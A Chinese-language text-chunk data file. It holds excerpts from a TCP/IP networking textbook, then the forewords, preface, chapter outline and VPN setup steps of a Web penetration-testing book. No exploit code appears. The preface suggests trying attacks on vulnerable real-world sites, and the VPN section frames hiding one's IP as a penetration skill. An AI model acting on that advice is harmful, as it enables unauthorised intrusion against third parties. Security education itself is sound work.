    {"text": "不论是哪种类型的MIB都通过SMI（Structure of Management Information）定义，其中SMI使用ISO 提出的ASN.1 （ASN.1（Abstract Syntax Notation 1）是指抽象语法标记法。"},
    {"text": "通过RMON可以监控某个特定的主机在哪里通过什么样的协议正在与谁进行通信的统计信息，从而可以更加详细地了解网络上成为负荷的主体并进行后续分析。 RMON中从当前使用状况到通信方向性为止，可以以终端为单位也可以以协议为单位进行监控。"},
    {"text": "该用具可以从以下网站获取： http://oss.oetiker.ch/mrtg/ 图8.23 MRTG可以图像化显示网络流量 8.7 其他应用层协议 互联网一直以来作为数据通信网络得到了蓬勃的发展。"},
    {"text": "此外，还需要RTP协议（结合多媒体数据本身的特性进行传输的一种协议）和压缩技术（在网络上传输音频、视频等大型多媒体数据时进行压缩）的支持。"},
    {"text": "它们分别是终端（用户终端）、网关（吸收用户数据压缩顺序的不一致性）、网闸（电话本管理、呼叫管理）以及多点控制单元（允许多个终端同时使用）。"},
    {"text": "由于SIP非常相似于HTTP的工作机制 （HTTP中进行Web页的获取与发送依赖于ASCII码字符串的请求命令和数字序列的应答报文。 SIP在这一点是与HTTP一样采用ASCII码字符串。"},
    {"text": "8.7.2 P2P 互联网上电子邮件的通信，普遍属于一台服务器对应多个客户端的C/S模式，即1对N的通信形态。 与之不同，网络上的终端或主机不经服务器直接1对1相互通信的情况叫做P2P（Peer To Peer）。"},
    {"text": "IP电话中也有使用P2P的例子。 使用P2P以后，可以分散音频数据给网络带来的负荷，实现更高效的应用。 例如互联网电话Skype就采用了P2P的功能。 除了IP电话外，其他实现互联网的文件传输应用如BitTorrent协议或一部分群组软件等，也是用到了P2P的技术。"},
    {"text": "图8.29 LDIF文件 图8.30 LDAP目录树（DIT） 在大规模的公司或教育机关中，所要管理的对象如使用者（用户）和设备的数量往往非常庞大。"},
    {"text": "此时如果这些设备和应用应对了LDAP，并在一个可以进行统一管理的LDAP服务器中注册了所有用户，那么就可以对这些用户是否有效进行判断。"},
    {"text": "然而，随着互联网的日益普及，发生了很多非法访问、恶意攻击等问题，着实影响了企业和个人的利益。 由此，网络安全逐渐成为人们不可忽视一个重要内容。 互联网向人们提供了很多便利的服务。 为了让人们能够更好、更安全的利用互联网，只有牺牲一些便利性来确保网络的安全。"},
    {"text": "今后，除了基本的网络技术外，通过正确理解安全相关的技术、制定合理的安全策略 （安全策略是指在如公司等组织内部，针对信息处理明文规定的统一标准和方法。"},
    {"text": "即不是在遇到问题的时候才去处理，而是通过对可能发生的问题进行预测，在可行的最大范围内为系统制定安保对策，进行日常运维，这才是重中之重。"},
    {"text": "图9.1 构造安全系统的要素 9.2.1 防火墙 组织机构（域）内部的网络与互联网相连时，为了避免域内受到非法访问的威胁，往往会设置防火墙 （使用NAT（NAPT）的情况下，由于限定了可以从外部访问的地址，因此也能起到防火墙的作用。"},
    {"text": "从设置形式上看，一般在防火墙或DMZ等边界设备上进行设置。 有了这样监控、检测边界的功能，就可以设置在网络内部、全网或个别特殊的服务器上进行监控。"},
    {"text": "■ DMZ定义 在连接互联网的网络中，可以设置一个服务器并在这台服务器上建立一个允许从互联网直接进行通信的专用子网。 这种将外网与内网隔开的专用子网就叫做DMZ（DeMilitarized Zone，非军事化区）。"},
    {"text": "9.2.3 反病毒/个人防火墙 反病毒和个人防火墙是继IDS和防火墙之后的另外两种安全对策，它们往往是用户使用的计算机或服务器上运行的软件。"},
    {"text": "有些黑客发送带有病毒或蠕虫的邮件感染系统，还有些可能会直接攻击操作系统本身的弱点。 这些黑客甚至通过时间差或复杂的传染路径等方式隐藏攻击源，行为及其恶劣，严重影响了人们正常的工作生活。"},
    {"text": "这种方法不仅可以达到防范病毒的目的，一旦某一台机器发生病毒感染时，它可以通过消除病毒，使其尽量避免因病毒的扩散而产生更严重后果的影响。"},
    {"text": "用户可以利用CA颁发的“数字证书”验证通信对方的真实性。 该数字证书包含用户身份信息、用户公钥信息 （公钥信息用于加密数据。 持有数字证书的一方若想使用公钥加密的数据，只能由自己持有的私钥进行解密后方可使用。"},
    {"text": "而公钥信息可以用于加密数据或验证对应私钥的签名。 使用公钥信息加密后的数据，只能由持有数字证书的一方读取，这在使用信用卡等对于安全要求较高的场合极为重要。"},
    {"text": "表9.1 加密技术的逐层分类 ▼ Privacy Enhanced Telnet 图9.3 各层加密应用举例 9.3.1 对称密码体制与公钥密码体制 加密是指利用某个值（密钥）对明文的数据通过一定的算法变换成加密（密文）数据的过程。"},
    {"text": "图9.4 加密过程 加密和解密使用相同的密钥叫做对称加密方式。 反之，如果在加密和解密过程中分别使用不同的密钥（公钥和私钥）则叫做公钥加密方式。"},
    {"text": "不过，相比对称加密方式，后者在加密和解密上需要花费的时间较长，在对较长的消息进行加密时往往采用两者结合的方式 （参考9.2.4节。"},
    {"text": "对称加密方式包括AES（Advanced Encryption Standard）、DES（Data Encryption Standard）等加密标准，而公钥加密方法中包括RSA、DH（Diffie-Hellman）、椭圆曲线等加密算法。 图9.5 对称加密方式与公钥加密方式 9.3.2 身份认证技术 在实施安全对策时，有必要验证使用者的正确性和真实性。"},
    {"text": "根据所拥有的信息进行认证 指利用ID卡、密钥、电子证书、电话号码等信息的方式。 在移动手机互联网中就是利用手机号码或终端信息进行权限认证。"},
    {"text": "9.4 安全协议 9.4.1 IPsec与VPN 以前，为了防止信息泄露，对机密数据的传输一般不使用互联网等公共网络（Public Network），而是使用由专线连接的私有网络（Private Network）。"},
    {"text": "Web中可以通过TLS/SSL （Transport Layer Security/Secure Sockets Layer。 由网景公司最早提出的名称叫SSL，标准化以后被称作TLS。 有时两者统称为SSL。 ） 对HTTP通信进行加密。 使用TLS/SSL的HTTP通信叫做HTTPS通信。 HTTPS中采用对称加密方式。"},
    {"text": "而在发送其公共密钥时采用的则是公钥加密方式 （对称加密虽然速度快，但是密钥管理是巨大的挑战。 公钥加密密钥管理相对简单，但是处理速度非常慢。"},
    {"text": "图9.8 HTTPS 确认公钥是否正确主要使用认证中心（CA （Certificate Authority） ）签发的证书，而主要的认证中心的信息已经嵌入到浏览器的出厂设置中。"},
    {"text": "然而此时终端只能连接认证服务器（如图9.9中的②）。 连到认证服务器后，用户被要求输入用户名和密码（如图9.9中的③）。 认证服务器收到该信息以后，将该用户所能访问的网络信息通知给AP和终端（如图9.9中的④）。 随后AP会进行VLAN号码（该终端连接网络必要的信息）的切换（如图9.9中的⑤）。 终端则由于VLAN的切换进行IP地址重置（如图9.9中的⑥），最后才得以连接网络（如图9.9中的⑦）。"},
    {"text": "附录 附1 互联网上便捷的资源 附2 IP地址分类（A、B、C类）相关基础知识 附3 物理层 附4 传输介质相关基础知识 附5 插页导图\n附1 互联网上便捷的资源 附1.1 国际 ■ IETF（The Internet Engineering Task Force） http://www.ietf.org/ IETF（Internet工程任务组）的主页。"},
    {"text": "附图.1 A类 IP地址第一位的值为0时属于A类地址，因此其网络地址分布为： ｜00000000（0）｜→｜01111111（127）｜ 在0到127总共128个网络地址中0和127被保留，因此只有128-2=126个可用的网络地址。"},
    {"text": "附2.2 B类 B类地址的网络地址部分占16比特，主机地址占16比特。 附图.2 B类 IP地址前两位的值为10时属于B类地址，因此其网络地址分布为： ｜10000000. 00000000（128.0）｜→｜10111111.11111111（191.255）｜ 由于前两位固定为10，后面14位可以有2 14 =16384个组合。 在这16384个地址中128.0和191.255属于保留地址，因此实际B类的网络地址最多可以有16382个。"},
    {"text": "因此其网络地址分布为： 由于前三位固定为110，后面21位可以有2 21 =2097152个组合。 在这2097152个地址中192.0.0和223.255.255属于保留地址，因此实际C类的网络地址只有2097152-2=2097150个可用地址。"},
    {"text": "物理层通过把上层的比特流（0、1的二进制流）转换为电压的高低、灯光的闪灭等物理信号，将数据传输出去。 而接收端收到这些物理的信号以后在将这些电压的高低、灯光的闪灭恢复为比特流（0、1的二进制流）。"},
    {"text": "在计算机网络被广泛普及之前，模拟电话曾一度盛行 （以前的模拟电话中通过连续的气压的震动表示声音，并将其转换成连续的电压变化进行传输。"},
    {"text": "由于在远距离传输中它的值容易发生变化，因此在计算机之间的通信当中基本未能得到广泛使用 （使用调制解调器（MODEM：MOdulator-DEModulator）可以将模拟信号转换成为数字信号。 它可以将数字信号在模拟线路上进行传输（Modulation），也可以把从模拟线路上收到的信号恢复成为数字信号。"},
    {"text": "附图.5 以太网电缆（10BASE5） 附图.6 10BASE5与10BASE2的网络构成 与之相比，10BASE2通过BNC（也叫T型连接器）与设备连接，但是新增线路时需要切断电缆。"},
    {"text": "此外，由于不使用接地信号，而是通过发送数据+与发送数据-之间的电位差进行信号变化的判断，因此可以提高对来自外界电场干扰（噪声）的耐性。"},
    {"text": "附图.7 双绞线构造 附图.8 双绞线的信号传输方式 ■ 双绞线的种类 双绞线分为屏蔽双绞线（Shielded Twisted Pair，STP）和非屏蔽双绞线（Unshielded Twisted Pair，UTP）。"},
    {"text": "附表.1 具有代表性的双绞线类型 ■ 双绞线的绕对组合 通常，两条铜线组成一个绕对，再以四个绕对（八条铜线）为一组用套管包成一条电缆成为一根双绞线。"},
    {"text": "附图.9 双绞线绕对的组合方式 附4.3 光纤电缆 光纤主要用于以下几种场景：为了实现使用同轴电缆和双绞线电缆无法实现的数公里远距离连接；"},
    {"text": "由于发送相同无线电波会使得最终无法正常通信，有时需要限制其输出和使用环境，甚至还要求具有相应的许可证或通知文件 （无线LAN使用的2.4GHz不需要有许可证。"},
    {"text": "附图.11 无线连接 附5 插页导图 ■ UDP首部格式（同图6.24） ■ TCP首部格式（同图6.26） ■ IPv4首部格式（同图4.31） ■ IPv6首部格式（同图4.33） ■ IP地址结构（参考本书4.3.6节子网与子网掩码） ■ IPv6地址结构（同表4.3） ■ 具有代表性的RFC（同表2.2）"},
    {"text": "内容简介 本书是《Web渗透技术及实战案例解析》一书的第2版。 本书从Web渗透的专业角度，结合网络攻防中的实际案例，图文并茂地再现了Web渗透的精彩过程。"},
    {"text": "本书较第1版更加系统、科学地介绍了各种渗透技术，由浅入深地介绍和分析了目前网络上流行的Web渗透攻击方法和手段，并结合作者多年的网络安全实践经验给出了相应的安全防范措施，对一些经典案例还给出了经验总结和技巧归纳。 本书最大的特色是实用性高、实战性强、思维灵活，内容主要包括Web渗透必备技术、常见的加密与解密攻击、Web漏洞扫描、常见的文件上传漏洞及利用、SQL注入漏洞及利用、高级渗透技术、Windows和Linux提权、Windows和Linux的安全防范等。 本书既可以作为政府、企业网络安全从业者的参考资料，也可以作为大专院校学生学习渗透测试的教材。"},
    {"text": "图书在版编目（CIP）数据 安全之路：Web渗透技术及实战案例解析／陈小兵编著.－2版.－北京：电子工业出版社，2015.9 （安全技术大系） ISBN 978-7-121-26774-1 Ⅰ．①安… Ⅱ．①陈… Ⅲ．①计算机网络－安全技术 Ⅳ．①TP393.08 中国版本图书馆CIP数据核字（2015）第169571号 责任编辑：潘 昕 印 刷：北京丰源印刷厂 装 订：三河市皇庄路通装订厂 出版发行：电子工业出版社 北京市海淀区万寿路173信箱 邮编100036 开 本：787×1092 1/16 印 张：36.5 字 数：880千字 版 次：2012年4月第1版 2015年9月第2版 印 次：2015年9月第1次印刷 定 价：99.00元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。"},
    {"text": "他起初作为《黑客防线》的读者，而后作为《黑客防线》的作者，在十几年的时间里，虽经历过工作变动，其间还有几年去读研究生，但始终没有脱离和《黑客防线》技术团队的关系。"},
    {"text": "这是他的兴趣，更重要的是，他似乎感觉到，在网络时代，网络安全始终是一个无法回避的重大问题，是一个需要正面积极应对的问题，此中他感受到除了兴趣以外的一种责任，这可能是我们能成为知音且一直保持联系的原因所在。"},
    {"text": "起初，我们这些专注于系统底层和协议底层技术的人，对于Web层面的安全技术并不是那么看重，但是，随着Web2.0技术的广泛应用，网络大架构普遍与Web服务器直接或者间接互连互通，其现实变为Web服务器不仅可以到达外网数据库，也可以到达内网，甚至可以到达骨干网节点——当今世界，完全封闭运行的局域网已经非常少见，这使我们逐渐认识到，Web攻击和渗透非常有效，因此，Web安全防范技术显得非常重要。"},
    {"text": "大到国家重要数据，中到重要商业数据，小到个人隐私数据，只要这些数据存在于数字设备中，只要这些数字设备存在于网络中，就等于开通了无数个获取核心数据的通道。"},
    {"text": "小兵及他所带领的团队正是在这个理念下一直坚持探索，取得了不少技术成果，这是我的欣慰，也是中国网络安全的幸事。 当初，小兵作为我的“小伙伴”走上了这条路，后来，他又带领不同阶段的小团队，一直在Web安全技术上不停探索，更是网络安全技术领域珍贵的后备力量。 “路漫漫其修远兮”，愿小兵及他的后续团队能够一路走下去。"},
    {"text": "从这本书中可以看出，小兵最擅长的是Web服务端渗透，包括从拿下Web服务到进入服务器、进入内网的许多渗透思路，这个过程中还融入了社会工程学的经典应用，这些经验非常值得借鉴。"},
    {"text": "但是，这本书没有提到Web客户端（或称“Web前端”）的渗透，最近全球范围内大量报道的“水坑”攻击，其实就是一种Web客户端的攻击思路，其中一个典型应用就是XSS攻击。 在我看来，XSS、CSRF等Web客户端技术在真实的渗透中也是非常有效的，例如大家熟知的“XSS盲打技术”。 Web客户端的渗透其实是一种被动渗透的思路，往往需要精心准备攻击页面（经常携带恶意JavaScript代码），然后通过精准的社工手法或“盲打”技术将这个攻击页面发给目标用户，等待目标用户主动或被动访问这个攻击页面，只要目标用户的浏览器请求访问这个攻击页面，就可以触发这个页面携带的恶意JavaScript代码。"},
    {"text": "余 弦 《Web前端黑客技术揭秘》作者 序3 其实我和小兵认识的时间不算太长，记得是在他写这本书的第1版时，通过好朋友兼前同事“鸟哥”认识的。"},
    {"text": "当前，信息安全很火，Web安全更火，各行业、各公司都很重视Web安全，对这方面的人才需求很大，所以，这方面的书也很多，有讲原理的，有说框架的，有介绍工具的，也有讲实际操作的，但很少能像这本书一样，由浅入深，全面而深入地介绍和分析当前的渗透技术和手段，着重介绍实际操作、经验和技巧——还有一些是独门绝技。"},
    {"text": "在小兵写这本书的过程中，我们有一些交流，感觉他对这本书非常认真、仔细，书里的每个工具、案例、技巧都必须在测试环境里测试通过，不确定的坚决不用。"},
    {"text": "以微博业务为例，任何一个有影响力的“大V”账户被盗所导致的不良言论，就可能导致公司股价的波动，而“大V”账户被盗的可能性众多，我们需要防护的点也非常多。"},
    {"text": "相比第1版，第2版增加了大量实战案例，图文并茂，读者可以根据这些实例不断加深自己的理解，丰富自己的渗透测试经验。 总之，这是一本充满实战经验的Web安全相关书籍，对于刚刚接触渗透测试技术的朋友来说，通篇没有多余的理论铺垫，就像书名强调的那样——注重实战，相信读完一定收获颇多。"},
    {"text": "罗诗尧 新浪微博安全团队负责人 序5 随着互联网的飞速发展和Web技术的日新月异，特别是Web2.0的普及和发展，Web应用的功能越来越强大，而与之相关的网络安全问题也让人目不暇接：CSDN用户信息泄露、天涯论坛数据泄露、小米数据泄露、Gmail数据泄露……呈愈演愈烈之势。 Web安全已经逐渐成为当今网络安全最热门的领域之一，在近年举国上下重点关注安全之际，本书的面世为我们带来了新的“技术食粮”——向陈小兵同志致敬！"},
    {"text": "我和挚友小兵从认识到现在已有8年之久，今日他的杰作第2版即将出版，我心中充满喜悦之情，这既是众多网友的期待，也使我们信息安全网络学院学员们的呼声又一次得到满足。 小兵为人厚道，做事认真，在国内信息安全圈子中享有盛名，但他为我的助理和网络学员们解答问题时又是那么和蔼可亲，堪称“技术大牛型笑脸哥”，此书一出，学员们估计又要托我来买签名书了。 小兵历尽心血更新的第2版融入了大量渗透思路和实战经验，并将书中重要的实验放到我主持研发的“红黑演义云端攻防平台”上供大家实践，更体现了他对读者的厚爱！ 小兵在Web安全领域研究和工作多年，积累了丰富的理论和实战经验，这本书正是这些宝贵经验的结晶。"},
    {"text": "系统性和科学性是本书的第一大特点，本书内容既涵盖了Web渗透技术和安全防御的重要基础知识，也体现了Web安全防御方面的最新流行技术。 重视实践是本书的第二大特点，书中展现了多个典型的攻防情景，再现了Web渗透的实际过程，让读者有身临其境之感，配合实战和实验讲解，能够保证读者技术能力的切实提高。"},
    {"text": "通过写序这个机会，也想告诉大家，读书不仅仅要学其中的知识，更重要的是透析作者的思路，灵活运用其中的各种技巧，梳理知识点，最终达到能够“讲书”的程度。"},
    {"text": "张胜生 工信部资深安全顾问 信息安全应急演练关键技术研究中心主任 东方宏宇国际咨询服务（北京）有限公司总经理 前 言 经过近3年时间的坚持和奋斗，终于将本书第2版完成。"},
    {"text": "本书在第1版的基础上增加了大量内容，从Web渗透的专业角度系统探讨网络安全攻防技术，尽可能贴近实战，以帮助读者掌握本书的技术要点，再现Web渗透场景。 本书主要讨论Web渗透攻防技术。"},
    {"text": "近几年网络安全的相关话题特别火爆，可以说，从事网络安全是比较有“钱”途的职业之一。 目前，各大安全公司都非常缺人，特别是在CSDN、天涯、小米、Gmail、开心网、人人网等大型网站用户数据库泄露事件发生后，各大公司对安全人才求贤若渴——网站核心数据不安全，就失去了立足之本。 掌握网络安全攻防技术、拥有丰富经验的从业人员年薪一般在20万元以上，能够独立挖掘漏洞的从业人员年薪一般在30万元以上。 其实，Web安全渗透技术也不是那么高不可攀，只要锁定方向，持之以恒，不断进行试验和研究，终将成为一名高手。"},
    {"text": "二是在本地搭建试验环境进行实际测试，掌握漏洞的利用方法； 三是在互联网上对存在漏洞的站点进行实际操作，在真实环境下进行验证，提出修补漏洞的方法。"},
    {"text": "本书内容 本书以Web渗透攻击与防御为主线，通过典型的渗透实例介绍Web渗透和防御技术，在每一节中，除了技术原理，还对这些技术进行总结和提炼。"},
    {"text": "通过阅读本书，初学者可以很快掌握Web攻防的流程及最新的技术和方法，有经验的读者可以在技术上更上一层楼，使攻防技术从理论和实践中更加系统化，同时，可以使用本书介绍的一些防御方法加固服务器系统。 本书共分8章，由浅入深，依照Web攻防的技术特点安排内容，每一节都是一个具体Web攻防技术的典型应用，同时，结合案例给予讲解，并给出一些经典的总结。"},
    {"text": "第1章 Web渗透必备技术 介绍Web渗透的基础知识，在Windows XP和Windows 7中创建及使用VPN，域名查询技术，常用DOS基本命令，CX端口转发实现内网突破，远程终端的安装与使用，Windows下PHP+MySQL+IIS安全试验平台的搭建，一句话后门的利用及操作，MySQL数据库导入与导出攻略，以及SQL Server 2005还原数据库攻略等。"},
    {"text": "第2章 实战中常见的加密与解密 在Web渗透中经常会碰到数据被加密的情况，尤其是用户的密码，各个系统采用的密码加密算法不一样，如明文、MD5、SHA1、Base64等。"},
    {"text": "本章主要介绍Web渗透过程中各种密码的破解及解密，获取和破解Windows及Linux操作系统密码的方法，以及绝大部分应用软件加密密码的获取和破解等。 通过本章的学习，读者对后续渗透碰到的密码破解任务可以举一反三，触类旁通。 第3章 Web漏洞扫描 Web渗透技术的核心就是发现Web漏洞，我们可以通过扫描器进行漏洞扫描。 本章主要介绍Jsky、Acunetix Web Vulnerability Scanner、Safe3等扫描工具，还对Windows操作系统、MSSQL、MySQL、FTP、路由器等的口令扫描和利用进行了介绍。"},
    {"text": "第4章 常见文件上传漏洞及利用 上传是Web渗透中最容易获得WebShell的途径之一。 本章介绍了如何利用WebEditor、FCKeditor、CuteEditor等典型编辑器漏洞获取WebShell的方法，同时还对登录绕过后通过Flash上传、文件上传等方法获取WebShell进行了探讨。"},
    {"text": "第5章 SQL注入漏洞及其利用 SQL注入是Web渗透的核心技术。 本章主要介绍如何使用SQL注入方法获取WebShell，穿插介绍了如何使用多种扫描软件、攻击工具渗透Web服务器并提权。 第6章 高级渗透技术 本章介绍如何充分利用多种技术组合，结合巧妙的思路，最终成功渗透一些高难度的Web服务器，同时还对一些不常见的高级漏洞的利用进行了探讨。"},
    {"text": "在网络攻防的整个过程中，安全防范非常重要，攻击方需要隐藏自己的IP地址，消除痕迹，防止被发现，而防守方则关注如何加固，使自己的系统更加安全。"},
    {"text": "通过本书的学习，希望读者可以快速了解和掌握Web渗透技术，加固自己的服务器。 本书的目的是通过Web渗透技术，结合一些案例探讨网络安全，从而更好地加固Web服务器，远离黑客的威胁。"},
    {"text": "参加本书编写工作的有陈小兵、邓火英、庞香平、兰云碧、陈尚茂、杜鹏璐、孙立伟、林伟、杨卿、刘漩、范渊、冯国全、张茂荣、王玉莲、邱培东。"},
    {"text": "我们的团队是一个低调潜心研究技术的团队，在此衷心地向团队成员表示感谢，感谢雨人、imiyoo、cnbird、pt007、Mickey、Xnet、fido、指尖的秘密、Leoda、pt007、Mickey、YIXIN、终隐、fivestars、暖色调の微笑等，是你们给了我力量，给了我信念。"},
    {"text": "本章着重介绍有关网络渗透的基本知识和必备技术，由浅入深地介绍创建VPN服务器、使用VPN软件、LCX端口转发实现内网突破、一句话后门的利用与操作等。"},
    {"text": "网络安全是一种技术的积累，在实践过程中需要不断进行试验，不断进行总结，不断进行更新，只有这样，才能不断提高个人的渗透能力和渗透技术。 网络攻防中有一个理念：“安全高手就是一次次试验和尝试，就跟武林高手一样，一个简单的动作都要做无数遍，深得其方法、技巧和精髓！ ” 本章主要内容 常用DOS基本命令 域名查询技术 LCX端口转发实现内网突破 远程终端的安装与使用 Windows下PHP+MySQL+IIS安全试验平台的搭建 一种新型PHP网站后门的隐藏技术研究 一句话后门的利用及操作 脱库利器Adminer MySQL数据库导入与导出攻略 SQL Server 2005还原数据库攻略 使用IIS Put Scanner扫描常见端口 使用Cain嗅探FTP密码 Radmin远控网络攻防全攻略 巧用Telnet做后门和跳板 利用phpMyAdmin渗透某Linux服务器 使用CDlinux无线破解系统轻松破解无线密码 NMap使用技巧及攻略 1.1 在Windows XP和Windows 7中创建及使用VPN 习武之人都知道，要想学得好武艺，必须学会挨打。"},
    {"text": "虚拟专用网络（Virtual Private Network，VPN）提供了一种通过公用网络安全地对企业内部专用网络进行远程访问的连接方式。 VPN是通过因特网将局域网扩展到远程网络和远程计算机用户的一种成本效益极佳的办法，它最大的优点在于异地子网间的通信就像在一个子网内一样安全，“虚拟专用网络”由此得名。"},
    {"text": "IP封装可以使两台实际上分离的网络计算机看上去像比邻的：相互之间只是由一个路由器分开，但是它们是通过许多网络路由器和网关分开的，这些路由器和网关可能不使用同一个地址空间；"},
    {"text": "密码身份认证用来安全有效地验证远程用户的身份，这样系统就可以判断出适合这个用户的安全级别，如VPN可使用密码身份认证来决定用户是否可以参与到加密通道中；"},
    {"text": "目前，国内外许多大型网络安全公司都推出了自己的VPN产品，这些VPN产品大部分都和自己的防火墙产品结合到一起，但也有一些公司的VPN产品是单独的。 国内的产品有天融信的SJW11网络密码机（VPN）产品，东软的NetEye VPN等。 软件VPN主要是由操作系统提供的，如Windows Server 2003服务器，在其上进行简单的设置即可使用。 VPN客户端主要是指专用的VPN连接软件或者操作系统提供的VPN连接工具。 完成VPN服务器的配置操作，并赋予特定用户远程连接VPN服务器的权限以后，还需要在客户端计算机中创建VPN连接并拨入VPN服务器，才能实现对企业内部网络的访问。 1.1.1 在Windows XP中创建VPN 1．创建VPN 01 新建网络连接 能够成功建立VPN的前提是连通互联网。"},
    {"text": "在桌面上右键单击“网上邻居”图标，选择“属性”命令，打开“网络连接”窗口，如图1-1所示。 图1-1 打开网络连接窗口 在左窗格中单击“创建一个新的连接”按钮，打开“新建连接向导”对话框。"},
    {"text": "图1-2 创建一个新的连接 02 选择网络连接的类型 在“网络连接类型”对话框中单击选中“连接到我的工作场所的网络”单选按钮，单击“下一步”按钮，如图1-3所示。"},
    {"text": "图1-3 选择网络连接类型 03 选择网络连接 在“网络连接”对话框中，单击选中“虚拟专用网络连接”单选按钮，然后单击“下一步”按钮，如图1-4所示。 图1-4 设置虚拟专用网络连接 04 设置VPN的显示名称 在“连接名”对话框中，在“公司名”文本框中输入一个连接名称（VPN设置成功后该名称会显示在桌面上），单击“下一步”按钮，如图1-5所示。 图1-5 设置VPN的显示名称 05 设置是否自动进行拨号连接 打开“公用网络”对话框，其中有“不拨初始连接”和“自动拨此初始连接”两个单选按钮，单击选中“自动拨此初始连接”单选按钮，表示VPN连接时自动连接该VPN，否则将连接选择的VPN。"},
    {"text": "图1-6 设置是否自动进行拨号连接 06 设置VPN服务器的IP地址 在“VPN服务器选择”对话框中，根据实际VPN服务器的IP地址或者域名进行设置。 在“主机名或IP地址”文本框中输入VPN服务器端的IP地址或域名，这就用到了用户在配置VPN服务器时所提到的固定IP地址或动态域名。"},
    {"text": "图1-7 设置VPN服务器IP地址 07 设置VPN连接的快捷方式 在打开的完成创建对话框中选中“在我的桌面上创建此连接的快捷方式”复选框，如图1-8所示。 这样，VPN创建完毕后会自动在桌面上生成一个VPN的快捷方式。 最后，单击“完成”按钮完成VPN连接的设置。 图1-8 设置VPN连接的快捷方式 2．使用VPN连接 双击“My vpn”快捷方式图标，打开如图1-9所示的连接对话框。 输入在VPN服务器上设置的VPN连接用户名和密码，如果想以后不用重新输入用户名和密码，可单击选中“为下面用户保存用户名和密码”单选按钮，让系统记住用户名和密码。 单击“连接”按钮，开始连接VPN服务器。 图1-9 使用VPN连接 技巧 （1）VPN服务器IP地址有变化时，不用每次都重新建立VPN连接。 打开VPN连接的“My vpn属性”对话框，如图1-10所示，将原来的IP地址更换为新的IP地址即可。 如果需要彻底修改VPN的相关信息，可以重新设置VPN名称和VPN连接网络。 图1-10 更改VPN服务器的IP地址 （2）无法访问Internet。 在“网络连接”窗口右键单击“VPN连接”图标，选择“属性”命令。 在打开的“VPN连接属性”对话框中切换至“网络”选项卡，然后选中“Internet协议（TCP/IP）”选项，并依次单击“属性”→“高级”按钮。 在“高级TCP/IP设置”对话框的“常规”选项卡中取消选中“在远程网络上使用默认网关”复选框，如图1-11所示。 图1-11 取消“在远程网络上使用默认网关”复选框 3．小结 使用VPN是Web渗透技术的一个必须掌握的基础技术。 通过连接VPN，不仅可以对一些被屏蔽的网站进行渗透，还可以隐藏自己的真实IP地址，从而达到保护自己的目的。"},
    {"text": "不过，好在目前有很多公司开发VPN客户端程序，并提供专业的VPN服务，通过其提供的VPN客户端连接上网，也能达到“翻墙”和隐蔽的效果，一个账号一年的使用费用几百到几千元人民币不等。"},
    {"text": "01 运行VPN客户端 到VPN123官方网站下载最新的客户端，按照默认设置进行安装，安装完毕后直接运行，如图1-12所示，输入购买的账号和密码，单击“连接”按钮进入VPN123网络选择界面。 图1-12 运行VPN客户端 02 设置VPN 在本例中介绍的是共享账号，即多个用户使用相同的VPN服务器，在如图1-13所示的设置VPN界面中选择一种加速方式，也可以选择全部加速。 然后，可在连接类型中选择PPTP、L2TP及OpenVPN中的一种，默认为PPTP连接，再在加速节点中选择一个服务器。"},
    {"text": "1.1.3 在Windows 7中创建VPN连接 Windows 7是微软在Windows XP后推出的一款功能强大的操作系统，除了在安全性方面有较大改进外，在功能方面也有所加强。 Window 7建立VPN连接与Windows XP有一些区别，下面进行简单介绍。"},
    {"text": "01 查看基本网络信息并设置连接 有多种方式进入“查看基本网络信息本设置连接”窗口。 单击右下角的网络连接图标，选择“打开网络和共享中心”选项，进入“查看基本网络信息本设置连接”窗口，在该窗口可以查看网络连接情况、查看活动网络、设置新的网络或者连接等，是操作网络的总控制台，如图1-15所示。 图1-15 查看基本网络信息 02 选择连接选项 单击“设置新的连接或者网络”选项，进入“设置连接或网络”窗口，如图1-16所示，在其中选择“连接到工作区”选项。 图1-16 设置连接 03 创建新连接 在“连接到工作区”窗口会出现选择“否，创建新连接”和“是，选择现有的连接”两个选项。 由于本例是创建VPN，因此选择“否，创建新连接”选项，否则应选择一个已经创建的VPN供使用，如图1-17所示。 图1-17 创建新的VPN连接 04 选择连接方式 在Windows 7中，可选择的VPN连接方式有两种，一种是通过已经连接的互联网创建VPN连接，另一种是通过直接拨号创建，第一种为目前最常用的方式。"},
    {"text": "单击“使用我的Internet连接（VPN）（I）”按钮，如图1-18所示。 图1-18 选择VPN连接方式 05 设置VPN地址和名称 如图1-19所示，这里需要提供VPN服务器的IP地址和设置目标名称。 在“Internet地址”文本框中输入“192.168.184.130”，在“目标名称”文本框中输入“vpn-test”。 “192.168.184.130”为本地搭建的VPN服务器的IP地址，在实际操作中，可以输入自建的VPN服务器的IP地址，也可以输入购买的VPN账号服务器的IP地址。 图1-19 设置VPN服务器的IP地址 06 设置VPN连接的用户名和密码 如图1-20所示，在“连接到工作区”窗口中，输入在VPN服务器上创建的允许接录的用户名称和密码，勾选“显示字符”复选框防止错误输入密码，勾选“记住此密码”复选框以便下次登录时不用再次输入密码即可直接连接。 单击“连接”按钮进行连接测试，出现如图1-21所示的界面，表示VPN创建并连接成功。 下次使用VPN连接时，只需要在计算机任务栏右下角的无线连接图标中单击“拨号和VPN”选项即可。 图1-20 设置VPN账号和密码 图1-21 VPN连接成功 07 在VPN服务器和客户端检查VPN连接情况 VPN创建成功后，可能会出现连接VPN失败的情况，这时需要访问VPN服务器，查看1723端口是否监听，以及已经连接的VPN客户端。 客户端IP地址为192.168.184.1，与VPN服务器成功建立连接，如图1-22所示。 在本地通过运行“ipconfig/all”命令查看网络配置情况，如图1-23所示，已经连接到VPN服务器，并且被分配了IP地址10.10.1.2。 图1-22 检查的VPN连接情况 图1-23 查看VPN客户端所分配的IP地址 在Windows XP或者Windows 2003中创建VPN时，如果VPN服务器采用PPTP等协议，需要选择相应的协议，而在Windows 7中会自动选择。 技巧 （1）在创建VPN时，VPN名称要清晰，可以用英文简写来代替，如“tw”代表台湾、“hk”代表香港。"},
    {"text": "图1-24 保存VPN设置 （3）通过连接VPN可以成功使用VPN服务器所在的内网。 如图1-25所示，执行“net view”命令，可以看到VPN服务器和VPN客户端在同一个网络中。 还可以执行“psexec \\\\192.168.184.154 cmd”命令等对VPN服务器进行操作，以管理VPN服务器。 图1-25 查看VPN所在的网络 1.2 用VPNBook和VPN Gate构建免费VPN平台 目前，国外的很多免费VPN软件被禁正常访问，特别是Google无法正常访问后，很多“翻墙”软件难于获得。"},
